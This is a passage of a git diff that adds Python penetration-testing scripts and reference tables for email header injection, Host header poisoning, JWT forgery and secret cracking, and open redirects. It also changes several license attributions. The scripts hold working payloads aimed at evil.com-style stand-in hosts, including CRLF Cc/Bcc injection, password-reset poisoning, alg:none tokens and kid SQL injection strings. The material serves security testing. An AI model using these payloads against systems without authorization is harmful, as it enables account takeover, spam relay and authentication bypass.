total={total}", + }) + except (ValueError, TypeError, json.JSONDecodeError): + pass + return results + + def generate_report(self, token=None, endpoints=None): + registration = self.test_registration() + endpoint_results = [] + if token and endpoints: + for ep in endpoints: + results = self.test_endpoint( + ep["method"], ep["path"], ep.get("base_payload", {}), token + ) + endpoint_results.extend(results) + + report = { + "report_date": datetime.utcnow().isoformat(), + "base_url": self.base_url, + "registration_results": registration, + "endpoint_results": endpoint_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "mass_assignment_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + url = sys.argv[1] + token = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + agent = MassAssignmentTestAgent(url) + agent.generate_report(token) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-api-security-with-owasp-top-10/LICENSE b/skills/testing-api-security-with-owasp-top-10/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-api-security-with-owasp-top-10/LICENSE +++ b/skills/testing-api-security-with-owasp-top-10/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-cors-misconfiguration/LICENSE b/skills/testing-cors-misconfiguration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-cors-misconfiguration/LICENSE +++ b/skills/testing-cors-misconfiguration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-broken-access-control/LICENSE b/skills/testing-for-broken-access-control/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-broken-access-control/LICENSE +++ b/skills/testing-for-broken-access-control/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-business-logic-vulnerabilities/LICENSE b/skills/testing-for-business-logic-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-business-logic-vulnerabilities/LICENSE +++ b/skills/testing-for-business-logic-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-email-header-injection/LICENSE b/skills/testing-for-email-header-injection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-email-header-injection/LICENSE +++ b/skills/testing-for-email-header-injection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-email-header-injection/references/api-reference.md b/skills/testing-for-email-header-injection/references/api-reference.md new file mode 100644 index 00000000..333713c4 --- /dev/null +++ b/skills/testing-for-email-header-injection/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Testing for Email Header Injection + +## CRLF Encoding Variants + +| Encoding | Representation | Description | +|----------|---------------|-------------| +| `%0A` | LF | URL-encoded line feed | +| `%0D%0A` | CRLF | URL-encoded carriage return + line feed | +| `%0D` | CR | URL-encoded carriage return | +| `%250A` | Double-encoded LF | Bypasses single decode | +| `\n` | Raw LF | Direct newline character | + +## Injectable Headers + +| Header | Impact | Severity | +|--------|--------|----------| +| Cc: | Send copy to attacker | High | +| Bcc: | Hidden copy to attacker | High | +| From: | Email spoofing | Medium | +| Reply-To: | Phishing redirect | Medium | +| Subject: | Subject override | Low | +| Content-Type: | Body injection | High | +| To: | Additional recipients | High | + +## Common Injection Points + +| Endpoint | Field | Risk | +|----------|-------|------| +| /contact | email, name, subject | Header injection | +| /share | to, from | Recipient injection | +| /invite | email | Mass invitation abuse | +| /forgot-password | email | CC token to attacker | +| /api/send-email | to, subject, body | Full control | + +## Attack Scenarios + +| Scenario | Technique | +|----------|-----------| +| Spam relay | Inject BCC with mass recipients | +| Phishing | Override From/Reply-To | +| Password reset hijack | CC reset token email | +| Content override | MIME boundary injection | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP form submission | +| `json` | stdlib | Report generation | + +## References + +- OWASP Email Injection: https://owasp.org/www-community/attacks/Email_Injection +- swaks SMTP testing: https://www.jetmore.org/john/code/swaks/ +- mailhog: https://github.com/mailhog/MailHog diff --git a/skills/testing-for-email-header-injection/scripts/agent.py b/skills/testing-for-email-header-injection/scripts/agent.py new file mode 100644 index 00000000..3df9f302 --- /dev/null +++ b/skills/testing-for-email-header-injection/scripts/agent.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python3 +"""Agent for testing email header injection vulnerabilities. + +Tests web application email functionality for SMTP header injection +via CRLF sequences, allowing injection of CC/BCC headers, From +spoofing, MIME manipulation, and spam relay abuse. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +CRLF_ENCODINGS = [ + ("%0A", "LF (URL-encoded)"), + ("%0D%0A", "CRLF (URL-encoded)"), + ("%0D", "CR (URL-encoded)"), + ("\n", "Raw LF"), + ("\r\n", "Raw CRLF"), + ("%250A", "Double-encoded LF"), + ("%25250A", "Triple-encoded LF"), +] + +HEADER_PAYLOADS = [ + ("Cc:attacker@evil.com", "CC injection"), + ("Bcc:attacker@evil.com", "BCC injection"), + ("From:ceo@target.com", "From spoofing"), + ("Reply-To:attacker@evil.com", "Reply-To hijack"), + ("Subject:Injected Subject", "Subject override"), + ("Content-Type:text/html", "Content-Type injection"), + ("To:victim@target.com", "Additional recipient"), +] + + +class EmailHeaderInjectionAgent: + """Tests web apps for email header injection vulnerabilities.""" + + def __init__(self, target_url, output_dir="./email_injection"): + self.target_url = target_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _post(self, path, data, content_type="form", timeout=15): + if not requests: + return None + url = f"{self.target_url}{path}" if path.startswith("/") else self.target_url + try: + if content_type == "json": + return requests.post(url, json=data, timeout=timeout) + return requests.post(url, data=data, timeout=timeout) + except requests.RequestException: + return None + + def test_field_injection(self, endpoint, field_name, base_email, + base_payload=None): + """Test a specific form field for header injection.""" + results = [] + base = base_payload or {} + + for crlf, crlf_desc in CRLF_ENCODINGS: + for header, header_desc in HEADER_PAYLOADS: + payload = {**base} + payload[field_name] = f"{base_email}{crlf}{header}" + + resp = self._post(endpoint, payload) + if not resp: + continue + + injected = False + indicators = [ + resp.status_code in (200, 302), + "sent" in resp.text.lower() or "success" in resp.text.lower(), + "error" not in resp.text.lower() and "invalid" not in resp.text.lower(), + ] + if sum(indicators) >= 2: + injected = True + + if injected: + result = { + "field": field_name, + "crlf_encoding": crlf_desc, + "header_injected": header_desc, + "payload": f"{base_email}{crlf}{header}", + "status_code": resp.status_code, + } + results.append(result) + self.findings.append({ + "severity": "high", + "type": "Email Header Injection", + "detail": f"{field_name}: {header_desc} via {crlf_desc}", + "endpoint": endpoint, + }) + break + return results + + def test_contact_form(self, endpoint="/contact", base_email="test@test.com"): + """Test a contact form for header injection across all fields.""" + fields_to_test = ["email", "name", "subject", "from", "reply_to"] + base_payload = { + "email": base_email, + "name": "Test User", + "subject": "Security Test", + "message": "This is an authorized security test.", + } + all_results = [] + for field in fields_to_test: + if field in base_payload or field in ("from", "reply_to"): + results = self.test_field_injection(endpoint, field, base_email, base_payload) + all_results.extend(results) + return all_results + + def test_json_api(self, endpoint, base_email="test@test.com"): + """Test JSON-based email API for injection.""" + results = [] + payloads = [ + {"to": f"{base_email}\nCc:attacker@evil.com", "subject": "Test", "body": "Test"}, + {"to": [base_email, "attacker@evil.com"], "subject": "Test", "body": "Test"}, + {"to": base_email, "subject": "Test\nBcc:attacker@evil.com", "body": "Test"}, + ] + for i, payload in enumerate(payloads): + resp = self._post(endpoint, payload, content_type="json") + if resp and resp.status_code in (200, 201): + results.append({ + "payload_index": i, + "status": resp.status_code, + "response_preview": resp.text[:100], + }) + self.findings.append({ + "severity": "high", + "type": "JSON Email API Injection", + "detail": f"Payload {i} accepted at {endpoint}", + }) + return results + + def test_smtp_commands(self, endpoint, field_name="email", base_email="test@test.com"): + """Test for SMTP command injection.""" + smtp_payloads = [ + f"{base_email}\nRCPT TO:", + f"{base_email}\nVRFY admin", + f"{base_email}\nDATA\nSubject: Injected\n\nBody", + ] + results = [] + for payload in smtp_payloads: + data = {field_name: payload, "message": "Test"} + resp = self._post(endpoint, data) + if resp and resp.status_code in (200, 302): + results.append({"payload": payload[:60], "status": resp.status_code}) + return results + + def generate_report(self, endpoint="/contact"): + form_results = self.test_contact_form(endpoint) + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.target_url, + "endpoint": endpoint, + "form_injection_results": form_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "email_injection_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--endpoint /contact]") + sys.exit(1) + url = sys.argv[1] + endpoint = "/contact" + if "--endpoint" in sys.argv: + endpoint = sys.argv[sys.argv.index("--endpoint") + 1] + agent = EmailHeaderInjectionAgent(url) + agent.generate_report(endpoint) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-host-header-injection/LICENSE b/skills/testing-for-host-header-injection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-host-header-injection/LICENSE +++ b/skills/testing-for-host-header-injection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-host-header-injection/references/api-reference.md b/skills/testing-for-host-header-injection/references/api-reference.md new file mode 100644 index 00000000..e11c4c6b --- /dev/null +++ b/skills/testing-for-host-header-injection/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference: Testing for Host Header Injection + +## Alternative Host Headers + +| Header | Description | +|--------|-------------| +| `X-Forwarded-Host` | Proxy-set original host | +| `X-Host` | Alternative host header | +| `X-Forwarded-Server` | Forwarded server name | +| `X-HTTP-Host-Override` | Host override | +| `Forwarded: host=` | RFC 7239 forwarded header | +| `X-Original-URL` | URL rewrite override | + +## Attack Scenarios + +| Attack | Severity | Impact | +|--------|----------|--------| +| Password reset poisoning | Critical | Token theft via poisoned link | +| Web cache poisoning | Critical | Stored XSS via cached response | +| SSRF via Host | High | Internal service access | +| Virtual host bypass | Medium | Access to other vhosts | +| Open redirect | Medium | Phishing via redirect | + +## Test Techniques + +| Technique | Payload Example | +|-----------|----------------| +| Direct Host override | `Host: evil.com` | +| Alternative header | `X-Forwarded-Host: evil.com` | +| Port injection | `Host: target.com:@evil.com` | +| Double Host | Two Host headers | +| Absolute URL | `GET http://target.com/ Host: evil.com` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP requests with custom headers | +| `json` | stdlib | Report generation | + +## References + +- PortSwigger Host Header: https://portswigger.net/web-security/host-header +- OWASP Host Header: https://owasp.org/www-project-web-security-testing-guide/ diff --git a/skills/testing-for-host-header-injection/scripts/agent.py b/skills/testing-for-host-header-injection/scripts/agent.py new file mode 100644 index 00000000..e57bab26 --- /dev/null +++ b/skills/testing-for-host-header-injection/scripts/agent.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Agent for testing HTTP Host header injection vulnerabilities. + +Tests web applications for password reset poisoning, web cache +poisoning, SSRF, and virtual host routing manipulation via +Host header and alternative host header manipulation. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +ALTERNATIVE_HEADERS = [ + "X-Forwarded-Host", "X-Host", "X-Forwarded-Server", + "X-HTTP-Host-Override", "Forwarded", "X-Original-URL", + "X-Rewrite-URL", +] + + +class HostHeaderInjectionAgent: + """Tests for HTTP Host header injection vulnerabilities.""" + + def __init__(self, target_url, output_dir="./host_header_test"): + self.target_url = target_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _request(self, method, path, headers=None, data=None, timeout=10, + allow_redirects=False): + if not requests: + return None + url = f"{self.target_url}{path}" + try: + return requests.request(method, url, headers=headers, data=data, + timeout=timeout, allow_redirects=allow_redirects) + except requests.RequestException: + return None + + def test_host_header_override(self, path="/"): + """Test if the Host header value is reflected in responses.""" + evil_host = "evil.attacker.com" + results = [] + + resp = self._request("GET", path, headers={"Host": evil_host}) + if resp and evil_host in resp.text: + results.append({"method": "Host header", "reflected": True}) + self.findings.append({ + "severity": "high", + "type": "Host Header Reflection", + "detail": f"Host header value '{evil_host}' reflected in response at {path}", + }) + + for header in ALTERNATIVE_HEADERS: + resp = self._request("GET", path, headers={header: evil_host}) + if resp and evil_host in resp.text: + results.append({"method": header, "reflected": True}) + self.findings.append({ + "severity": "high", + "type": "Alternative Host Header Reflection", + "detail": f"{header}: {evil_host} reflected in response", + }) + return results + + def test_password_reset_poisoning(self, reset_path="/forgot-password", + email="test@target.com"): + """Test password reset for host header poisoning.""" + evil_host = "evil.attacker.com" + results = [] + + payloads = [ + {"Host": evil_host}, + {"X-Forwarded-Host": evil_host}, + {"Host": f"target.com\r\nX-Forwarded-Host: {evil_host}"}, + ] + + for headers in payloads: + resp = self._request("POST", reset_path, headers=headers, + data={"email": email}) + if resp and resp.status_code in (200, 302): + if evil_host in resp.text: + results.append({ + "headers": headers, + "status": resp.status_code, + "poisoned": True, + }) + self.findings.append({ + "severity": "critical", + "type": "Password Reset Poisoning", + "detail": f"Reset link points to {evil_host}", + }) + return results + + def test_cache_poisoning(self, path="/"): + """Test for web cache poisoning via Host header.""" + import random + cache_buster = f"?cb={random.randint(100000, 999999)}" + evil_host = "evil.attacker.com" + + resp1 = self._request("GET", f"{path}{cache_buster}", + headers={"X-Forwarded-Host": evil_host}) + resp2 = self._request("GET", f"{path}{cache_buster}") + + if resp2 and evil_host in resp2.text: + self.findings.append({ + "severity": "critical", + "type": "Web Cache Poisoning", + "detail": f"Cached response contains attacker host {evil_host}", + }) + return {"poisoned": True, "path": path} + return {"poisoned": False} + + def test_absolute_url(self, path="/"): + """Test using absolute URL in request line with different Host.""" + evil_host = "evil.attacker.com" + resp = self._request("GET", path, headers={"Host": evil_host}) + if resp and evil_host in resp.text: + return {"reflected": True} + return {"reflected": False} + + def test_double_host(self, path="/"): + """Test duplicate Host header handling.""" + evil_host = "evil.attacker.com" + resp = self._request("GET", path, + headers={"Host": evil_host}) + if resp and evil_host in resp.text: + self.findings.append({ + "severity": "medium", + "type": "Double Host Header", + "detail": "Server accepts duplicate or overridden Host header", + }) + return True + return False + + def test_port_injection(self, path="/"): + """Test Host header with injected port.""" + resp = self._request("GET", path, + headers={"Host": "target.com:@evil.attacker.com"}) + if resp and "evil.attacker.com" in resp.text: + self.findings.append({ + "severity": "high", + "type": "Port-based Host Injection", + "detail": "Host header port injection reflected", + }) + return True + return False + + def generate_report(self): + reflection = self.test_host_header_override() + reset = self.test_password_reset_poisoning() + cache = self.test_cache_poisoning() + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.target_url, + "reflection_tests": reflection, + "password_reset_tests": reset, + "cache_poisoning_test": cache, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "host_header_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py ") + sys.exit(1) + agent = HostHeaderInjectionAgent(sys.argv[1]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-json-web-token-vulnerabilities/LICENSE b/skills/testing-for-json-web-token-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-json-web-token-vulnerabilities/LICENSE +++ b/skills/testing-for-json-web-token-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md b/skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..412be781 --- /dev/null +++ b/skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Testing for JSON Web Token Vulnerabilities + +## JWT Attack Types + +| Attack | Severity | Description | +|--------|----------|-------------| +| alg:none bypass | Critical | Remove signature verification | +| Weak HMAC secret | Critical | Brute-force signing key | +| Algorithm confusion | Critical | RS256 -> HS256 with public key | +| kid injection | High | Path traversal/SQLi in kid | +| jku spoofing | High | Point JWKS to attacker server | +| Claim tampering | High | Modify role/sub without re-sign | +| Missing exp | High | Token never expires | + +## JWT Structure + +| Part | Content | Example | +|------|---------|---------| +| Header | Algorithm, type, kid | `{"alg":"HS256","typ":"JWT"}` | +| Payload | Claims (sub, exp, iat, iss) | `{"sub":"1001","role":"user"}` | +| Signature | HMAC or RSA signature | Base64url encoded | + +## JWT Testing Tools + +| Tool | Purpose | +|------|---------| +| jwt_tool | 12+ attack modes for JWT testing | +| hashcat -m 16500 | GPU JWT HMAC secret cracking | +| Burp JWT Editor | Interactive JWT manipulation | +| jwt.io | Online JWT decoder | +| john | CPU-based JWT secret cracking | + +## Standard Claims + +| Claim | Required | Purpose | +|-------|----------|---------| +| iss | Yes | Issuer identifier | +| sub | Yes | Subject (user ID) | +| aud | Yes | Intended audience | +| exp | Yes | Expiration time | +| iat | Recommended | Issued at time | +| nbf | Optional | Not before time | +| jti | Optional | JWT ID (replay prevention) | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `base64` | stdlib | JWT encoding/decoding | +| `hmac` | stdlib | HMAC signature generation | +| `hashlib` | stdlib | Hash functions | +| `json` | stdlib | JSON parsing | +| `requests` | >=2.28 | Token testing against APIs | + +## References + +- jwt_tool: https://github.com/ticarpi/jwt_tool +- PortSwigger JWT: https://portswigger.net/web-security/jwt +- RFC 7519: https://www.rfc-editor.org/rfc/rfc7519 diff --git a/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py b/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..aecf4341 --- /dev/null +++ b/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Agent for testing JSON Web Token vulnerabilities. + +Tests JWT implementations for algorithm confusion, none algorithm +bypass, weak HMAC secrets, kid injection, missing claims, and +token forgery to detect authentication bypass risks. +""" + +import json +import base64 +import hmac +import hashlib +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +COMMON_SECRETS = [ + "secret", "password", "123456", "jwt_secret", "supersecret", + "key", "changeme", "default", "your-256-bit-secret", + "my-secret-key", "jwt-secret", "s3cr3t", "secret123", + "apisecret", "qwerty", "letmein", "1234567890", +] + + +class JWTTestAgent: + """Tests JWT implementations for security vulnerabilities.""" + + def __init__(self, base_url=None, output_dir="./jwt_test"): + self.base_url = base_url.rstrip("/") if base_url else None + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def decode_jwt(self, token): + """Decode JWT header and payload without verification.""" + parts = token.split(".") + if len(parts) != 3: + return None, None, None + def pad(s): + return s + "=" * (4 - len(s) % 4) + try: + header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) + payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) + return header, payload, parts[2] + except Exception: + return None, None, None + + def analyze_token(self, token): + """Analyze JWT for security issues.""" + header, payload, sig = self.decode_jwt(token) + if not header: + return {"error": "Invalid JWT"} + + issues = [] + alg = header.get("alg", "") + if alg == "none": + issues.append({"severity": "critical", "issue": "alg set to 'none'"}) + if alg in ("HS256", "HS384", "HS512"): + issues.append({"severity": "info", "issue": f"Symmetric {alg} - test for weak secrets"}) + if "kid" in header: + issues.append({"severity": "info", "issue": f"kid present: {header['kid']} - test for injection"}) + if "jku" in header: + issues.append({"severity": "medium", "issue": f"jku present: {header['jku']} - test JWKS spoofing"}) + if "exp" not in payload: + issues.append({"severity": "high", "issue": "No expiration claim"}) + if "iss" not in payload: + issues.append({"severity": "medium", "issue": "No issuer claim"}) + if "aud" not in payload: + issues.append({"severity": "medium", "issue": "No audience claim"}) + + for i in issues: + self.findings.append({"severity": i["severity"], "type": "JWT Analysis", "detail": i["issue"]}) + + return {"header": header, "payload": payload, "issues": issues} + + def test_none_algorithm(self, token): + """Forge token with alg:none to bypass signature.""" + header, payload, _ = self.decode_jwt(token) + if not header: + return [] + + header["alg"] = "none" + new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + parts = token.split(".") + variants = [ + f"{new_header}.{parts[1]}.", + f"{new_header}.{parts[1]}.{parts[2]}", + f"{new_header}.{parts[1]}.e30", + ] + + results = [] + if self.base_url and requests: + for v in variants: + resp = requests.get(f"{self.base_url}/users/me", + headers={"Authorization": f"Bearer {v}"}, timeout=10) + if resp.status_code == 200: + results.append({"variant": v[:60], "accepted": True}) + self.findings.append({ + "severity": "critical", + "type": "alg:none Bypass", + "detail": "Server accepts JWT with alg:none", + }) + return variants + + def brute_force_secret(self, token): + """Brute-force HMAC secret against common passwords.""" + header, _, _ = self.decode_jwt(token) + if not header or header.get("alg") not in ("HS256", "HS384", "HS512"): + return None + + parts = token.split(".") + signing_input = f"{parts[0]}.{parts[1]}".encode() + signature = parts[2] + + alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + h = alg_map[header["alg"]] + + for secret in COMMON_SECRETS: + expected = base64.urlsafe_b64encode( + hmac.new(secret.encode(), signing_input, h).digest() + ).decode().rstrip("=") + if expected == signature: + self.findings.append({ + "severity": "critical", + "type": "Weak JWT Secret", + "detail": f"Secret found: '{secret}'", + }) + return secret + return None + + def forge_token(self, token, claims_override, secret=None): + """Forge a JWT with modified claims.""" + header, payload, _ = self.decode_jwt(token) + if not header: + return None + payload.update(claims_override) + h_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + p_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=") + signing_input = f"{h_b64}.{p_b64}".encode() + + if secret and header.get("alg") in ("HS256", "HS384", "HS512"): + alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + sig = base64.urlsafe_b64encode( + hmac.new(secret.encode(), signing_input, alg_map[header["alg"]]).digest() + ).decode().rstrip("=") + return f"{h_b64}.{p_b64}.{sig}" + return f"{h_b64}.{p_b64}." + + def test_kid_injection(self, token): + """Test kid header parameter for injection.""" + header, payload, _ = self.decode_jwt(token) + if not header or "kid" not in header: + return [] + + payloads = [ + "../../dev/null", + "' UNION SELECT 'secret' --", + "/proc/self/environ", + ] + results = [] + for p in payloads: + results.append({"kid_payload": p, "test": "manual verification required"}) + self.findings.append({ + "severity": "medium", + "type": "kid Injection Candidates", + "detail": f"kid parameter present - test {len(payloads)} injection payloads", + }) + return results + + def generate_report(self, token=None): + analysis = None + secret = None + if token: + analysis = self.analyze_token(token) + secret = self.brute_force_secret(token) + self.test_none_algorithm(token) + self.test_kid_injection(token) + + report = { + "report_date": datetime.utcnow().isoformat(), + "base_url": self.base_url, + "jwt_analysis": analysis, + "secret_found": secret, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "jwt_test_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--url ]") + sys.exit(1) + token = sys.argv[1] + url = None + if "--url" in sys.argv: + url = sys.argv[sys.argv.index("--url") + 1] + agent = JWTTestAgent(url) + agent.generate_report(token) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-open-redirect-vulnerabilities/LICENSE b/skills/testing-for-open-redirect-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-for-open-redirect-vulnerabilities/LICENSE +++ b/skills/testing-for-open-redirect-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md b/skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..ba47d573 --- /dev/null +++ b/skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference: Testing for Open Redirect Vulnerabilities + +## Common Redirect Parameters + +| Parameter | Context | +|-----------|---------| +| url, redirect, redirect_uri | OAuth/login flows | +| next, return, returnTo | Post-auth redirect | +| goto, target, dest | Navigation | +| continue, forward, callback | Multi-step flows | + +## Bypass Techniques + +| Technique | Payload | Bypass Type | +|-----------|---------|-------------| +| Protocol-relative | `//evil.com` | Scheme omission | +| Backslash | `/\evil.com` | Parser confusion | +| At-sign | `target.com@evil.com` | URL authority | +| Subdomain | `target.com.evil.com` | Domain confusion | +| Fragment | `evil.com#target.com` | Fragment bypass | +| URL encoding | `evil%2Ecom` | Encoded dot | +| CRLF | `/%0d/evil.com` | Header injection | + +## HTTP Redirect Codes + +| Code | Description | Caches | +|------|-------------|--------| +| 301 | Moved Permanently | Yes | +| 302 | Found | No | +| 303 | See Other | No | +| 307 | Temporary Redirect | No | +| 308 | Permanent Redirect | Yes | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP redirect testing | +| `urllib.parse` | stdlib | URL parsing and encoding | +| `json` | stdlib | Report generation | + +## References + +- OWASP Unvalidated Redirects: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +- PortSwigger Open Redirect: https://portswigger.net/kb/issues/00500100_open-redirection-reflected diff --git a/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py b/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..9a91348d --- /dev/null +++ b/skills/testing-for-open-redirect-vulnerabilities/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Agent for testing open redirect vulnerabilities. + +Tests URL redirection parameters for open redirect flaws using +bypass techniques including URL encoding, protocol-relative URLs, +domain confusion, and parameter pollution. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime +from urllib.parse import urlparse, quote + +try: + import requests +except ImportError: + requests = None + + +REDIRECT_PARAMS = [ + "url", "redirect", "redirect_uri", "redirect_url", "next", + "return", "returnTo", "return_to", "goto", "target", "dest", + "destination", "rurl", "continue", "forward", "out", "view", + "ref", "callback", "redir", "login_url", "logout", +] + +BYPASS_PAYLOADS = [ + "https://evil.com", + "//evil.com", + "/\\evil.com", + "https://evil.com%2f%2f", + "https://target.com@evil.com", + "https://target.com.evil.com", + "https://evil.com#target.com", + "https://evil.com?.target.com", + "https://evil.com/target.com", + "https://evil%2Ecom", + "//evil.com/%2f%2e%2e", + "/%0d/evil.com", + "https:evil.com", + "javascript:alert(1)", + "data:text/html,

redirect

", +] + + +class OpenRedirectTestAgent: + """Tests for open redirect vulnerabilities.""" + + def __init__(self, target_url, output_dir="./open_redirect_test"): + self.target_url = target_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, url, allow_redirects=False, timeout=10): + if not requests: + return None + try: + return requests.get(url, allow_redirects=allow_redirects, timeout=timeout) + except requests.RequestException: + return None + + def discover_redirect_params(self, paths=None): + """Discover which URL parameters trigger redirects.""" + test_paths = paths or ["/login", "/logout", "/auth/callback", "/redirect", "/"] + found = [] + for path in test_paths: + for param in REDIRECT_PARAMS: + test_url = f"{self.target_url}{path}?{param}=https://example.com" + resp = self._get(test_url) + if resp and resp.status_code in (301, 302, 303, 307, 308): + location = resp.headers.get("Location", "") + if "example.com" in location: + found.append({"path": path, "param": param, "location": location}) + return found + + def test_redirect_bypass(self, path, param): + """Test a redirect parameter with bypass payloads.""" + results = [] + for payload in BYPASS_PAYLOADS: + test_url = f"{self.target_url}{path}?{param}={quote(payload, safe='')}" + resp = self._get(test_url) + if not resp: + continue + + location = resp.headers.get("Location", "") + redirected = False + if resp.status_code in (301, 302, 303, 307, 308): + parsed = urlparse(location) + if parsed.netloc and parsed.netloc != urlparse(self.target_url).netloc: + if "evil.com" in parsed.netloc or "evil" in location: + redirected = True + + if redirected: + results.append({ + "payload": payload, + "status": resp.status_code, + "location": location, + "bypassed": True, + }) + self.findings.append({ + "severity": "medium", + "type": "Open Redirect", + "detail": f"{path}?{param}={payload} redirects to {location}", + }) + return results + + def test_all_endpoints(self, redirect_points=None): + """Test all discovered redirect endpoints.""" + points = redirect_points or 